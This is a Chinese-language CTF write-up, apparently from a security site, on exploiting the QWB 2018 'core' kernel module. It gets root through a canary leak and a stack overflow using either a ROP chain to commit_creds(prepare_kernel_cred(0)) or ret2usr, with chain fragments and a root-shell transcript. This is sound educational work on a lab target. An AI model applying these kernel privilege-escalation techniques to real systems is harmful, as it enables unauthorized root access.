linux-kernel-pwn-qwb2018-core

阅读量144501

发布时间 : 2020-11-24 10:30:48

 

作者:平凡路上

根据难易,先看简单的栈溢出。通过强网杯2018内核题core来了解如何利用基本的栈溢出来进行提权。

描述

下载程序后,先看文件结构:

$ ll
total 118848
-rw-r--r--  1 raycp  staff   6.7M Mar 23  2018 bzImage
-rw-r--r--  1 raycp  staff    12M Mar 23  2018 core.cpio
-rwxr-xr-x  1 raycp  staff   221B Mar 23  2018 start.sh
-rwxr-xr-x  1 raycp  staff    39M Mar 24  2018 vmlinux

启动脚本的内容如下:

$ cat start.sh
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

64改成128,不然会一直重启。-s的意思是shorthand for -gdb tcp::1234,表示开启了1234端口用于调试;内核也开启了kaslr

core.cpio文件系统提取出来,目录如下:

$ ll
drwxrwxr-x 2 raycp raycp 4.0K Oct  8 03:15 bin
-rw-rw-r-- 1 raycp raycp 6.9K Mar 23  2018 core.ko
drwxrwxr-x 2 raycp raycp 4.0K Oct  8 03:15 etc
-rwxrwxr-x 1 raycp raycp   66 Mar 16  2018 gen_cpio.sh
-rwxrwxr-x 1 raycp raycp  558 Oct  9 20:34 init
drwxrwxr-x 3 raycp raycp 4.0K Oct  8 03:15 lib
drwxrwxr-x 2 raycp raycp 4.0K Oct  8 03:15 lib64
lrwxrwxrwx 1 raycp raycp   11 Oct  8 03:15 linuxrc -> bin/busybox
drwxrwxr-x 2 raycp raycp 4.0K Mar 16  2018 proc
drwxrwxr-x 2 raycp raycp 4.0K Oct  8 03:15 root
drwxrwxr-x 2 raycp raycp 4.0K Oct  8 03:15 sbin
drwxrwxr-x 2 raycp raycp 4.0K Mar 16  2018 sys
drwxrwxr-x 2 raycp raycp 4.0K Mar 22  2018 tmp
drwxrwxr-x 4 raycp raycp 4.0K Oct  8 03:15 usr
-rwxrwxr-x 1 raycp raycp  46M Mar 23  2018 vmlinux

init内容如下:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

由于存在echo 1 > /proc/sys/kernel/kptr_restrict,导致无法在非root权限下查看/proc/kallsyms,但是它已经用cat /proc/kallsyms > /tmp/kallsyms,也可以通过/tmp/kallsyms读到符号地址。

为方便调试,可将poweroff -d 120 -f &这句注释掉以关闭自动关机;将setsid /bin/cttyhack setuidgid 1000 /bin/sh改为setsid /bin/cttyhack setuidgid 0 /bin/sh以获得root权限,从而方便获取信息。

根据insmod /core.ko大概知道了存在漏洞的模块为core.ko,是主要分析的目标。

 

分析

$ checksec core.ko
[*] '/home/raycp/work/kernel/qwb2018-core/cpio/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

程序开启了canary以及nx。

core.ko拖进去IDA中,init_module函数:

__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk(&unk_2DE);
  return 0LL;
}

调用proc_create创建一个PROC entry,可以通过对文件系统中的该文件交互,实现和内核进行数据的交互。

函数原型是如下,其proc_fops实现的交互函数。

static inline struct proc_dir_entry *proc_create(
    const char *name, umode_t mode, struct proc_dir_entry *parent,
    const struct file_operations *proc_fops)
{
    return proc_create_data(name, mode, parent, proc_fops, NULL);
}

可以看到core_fops中实现了releasewriteioctl函数,最主要的是core_write以及core_ioctl,下面对这两个函数进行分析。

core_write代码如下,当用户提供数据长度小于0x800时,将数据拷贝至全局变量name中。

signed __int64 __fastcall core_write(__int64 fd, void *buffer, unsigned __int64 len)
{
  printk(&unk_215);
  if ( len <= 0x800 && !copy_from_user(name, buffer, len) )
    return (unsigned int)len;
  printk(&unk_230);
  return 4294967282LL;
}

core_ioctl相关如下,当操作码为0x6677889C,可以设置全局变量off;操作码为0x6677889B时,会根据设置的off,从栈中stack_buffer[off]开始拷贝0x40给返回给用户;操作码为0x6677889A时,将全局变量name中数据拷贝长度len到栈中。

__int64 __fastcall core_ioctl(__int64 filp, int command, __int64 arg)
{
  switch ( command )
  {
    case 0x6677889B:
      core_read((void *)arg);
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = arg;
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      core_copy_func(arg);
      break;
  }
  return 0LL;
}

unsigned __int64 __fastcall core_read(void *buffer)
{
  char *ptr; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  char stack_buffer[64]; // [rsp+0h] [rbp-50h]
  unsigned __int64 canary; // [rsp+40h] [rbp-10h]

  canary = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  ptr = stack_buffer;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)ptr = 0;
    ptr += 4;
  }
  strcpy(stack_buffer, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(buffer, &stack_buffer[off], 0x40LL);// we can leak here
  if ( !result )
    return __readgsqword(0x28u) ^ canary;
  __asm { swapgs }
  return result;
}

signed __int64 __fastcall core_copy_func(signed __int64 len)
{
  signed __int64 result; // rax
  char stack_buffer[64]; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(0x28u);
  printk(&unk_215);
  if ( len > 0x3F )
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(stack_buffer, name, (unsigned __int16)len);
  }
  return result;
}

漏洞比较明显,首先是越界读写漏洞,栈大小只有0x40,而off可以随意设置,因此可以通过越界读实现canary等信息的泄露。栈溢出漏洞泽存在于core_copy_func函数中qmemcpy拷贝时只使用了最后面的2字节数据,而比对长度时使用的是8字节数据,可以构造负数绕过检查,实现栈溢出(如使用0xffffffff00000000 | 0x0100实现的是拷贝0x100字节)。

 

利用

比较简单的栈溢出漏洞,只是利用场景从用户空间移到了内核空间,需要实现提权的操作。有两种方式,一种是直接利用ROP链进行提权,一种是ret2usr进行提权。

ROP提权

ROP提权包含三步:

  1. 信息泄露获取canary。
  2. 栈溢出ROP实现提权。
  3. 返回用户空间并创建root shell

首先是泄露canary,设置全局变量为0x40时,并调用core_read。拷贝至用户空间的第一个数据是canary

Pop rdi ret; 0; prepare_kernel_cred commit_creds

有了canary后,就可以栈溢出执行ROP链了。ROP的主要功能是调用commit_creds(prepare_kernel_cred(0)),函数的地址可以在/tmp/kallsyms中可以看到。

需要找到gadget,由于vmlinux有46m,用ROPgadget耗时会很久,师傅们都推荐用的ropper,效率较高。

ropper --file ./vmlinux --nocolor > ropgadget.txt

然后在ropgadget.txt中寻找gadget,gadget中地址是没有随机化的地址,因此需要依靠偏移得到真实地址,偏移计算方法如下:

In [1]: from pwn import *

In [2]: e=ELF("./vmlinux")
[*] '/home/raycp/work/kernel/qwb2018-core/vmlinux'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000)
    RWX:      Has RWX segments

In [3]: hex(e.symbols['prepare_kernel_cred']-0xffffffff81000000)
Out[3]: '0x9cce0'

再从/tmp/kallsyms中读取prepare_kernel_cred地址,计算得到内核基址,加上gadget的偏移得到gadget地址。

最终构造出来的rop链如下:

        *(ptr + i++) = prdi_ret;
    *(ptr + i++) = 0;
    *(ptr + i++) = prepare_kernel_cred;
    *(ptr + i++) = prcx_ret;
    *(ptr + i++) = commit_creds;
    *(ptr + i++) = mov_rdi_rax_jmp_rcx;

最后一步是返回用户空间并创建root shell。寻找包含swapgs 的gadget恢复 GS 值,再寻找一条包含iretq的gadget返回到用户空间。

iret指令的IA-32指令手册如下:

the IRET instruction pops the return instruction pointer, return code segment selector, and EFLAGS image from the stack to the EIP, CS, and EFLAGS registers, respectively, and then resumes execution of the interrupted program or procedure. If the return is to another privilege level, the IRET instruction also pops the stack pointer and SS from the stack, before resuming program execution.

在返回到用户空间是会依此从内核栈中弹出ripcsEFLAGSrsp以及ss寄存器,因此需要也需要将这些数据部署正确,所以需要在开始覆盖之前保存相应的寄存器。保存数据的代码如下:

void save_status() {
    asm(
            "movq %%cs, %0\n\t"
            "movq %%ss, %1\n\t"
            "movq %%rsp, %2\n\t"
            "pushfq\n\t"
            "popq %3\n\t"
            : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags)
            :
            : "memory");

 }

最终构造出来的返回用户空间并创建root shell的rop链如下:

        *(ptr + i++) = swapgs_p_ret;
    *(ptr + i++) = 0;
    *(ptr + i++) = iretq_ret;
    *(ptr + i++) = (uint64_t) root_shell;
    *(ptr + i++) = user_cs;
    *(ptr + i++) = user_rflags;
    *(ptr + i++) = user_sp;
    *(ptr + i++) = user_ss;

最终成功拿到root shell:

/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ ./exp
commit creds addr: 0xffffffff8a69c8e0
prepare kernel cred addr: 0xffffffff8a69cce0
kernel base: 0xffffffff8a600000
leak canary: 0x40f4b6285353e500
get root shell...
/ # id
uid=0(root) gid=0(root)

ret2usr提权

还有一种解法是ret2usr,利用的原理是内核没有开启smep时,内核空间可以访问用户空间数据以及执行用户空间的代码。因此可以不用rop去执行commit_creds(prepare_kernel_cred(0));而是直接在用户空间调用commit_creds(prepare_kernel_cred(0))代码。

关键代码如下,将提权函数在用户空间实现,栈溢出劫持到控制流时直接执行用户空间提权代码privilege_escalate后,再返回到用户空间中创建root shell。

void privilege_escalate()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));

    return ;
}

...

        ptr = (uint64_t *)(buffer+0x40);
    *(ptr + i++) = canary;
    *(ptr + i++) = rbp;
    *(ptr + i++) = (uint64_t) privilege_escalate;
    *(ptr + i++) = swapgs_p_ret;
    *(ptr + i++) = 0;
    *(ptr + i++) = iretq_ret;
    *(ptr + i++) = (uint64_t) root_shell;
    *(ptr + i++) = user_cs;
    *(ptr + i++) = user_rflags;
    *(ptr + i++) = user_sp;
    *(ptr + i++) = user_ss;

 

小结

如果没有开始smep的话,在用户空间执行代码要比rop实现功能相对来说会简单一些。

内核栈溢出需要注意的是要返回到用户空间,且不能破坏数据,内核一崩溃整个系统就结束了。返回到用户空间的iretq指令弹出寄存器的顺序让我纠结了一段时间,最后还是看手册解决了问题,官方手册还是很关键。

相关文件以及脚本链接

 

链接

  1. proc_create函数内幕初探
  2. kernel pwn(0):入门&ret2usr
  3. Kernel-ROP

本文转载自: 平凡路上

如若转载,请注明出处: https://mp.weixin.qq.com/s/_y5uFdmzIOXE_eSmx_D38A

安全客 - 有思想的安全新媒体

分享到:微信
+14赞
收藏
平凡路上
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66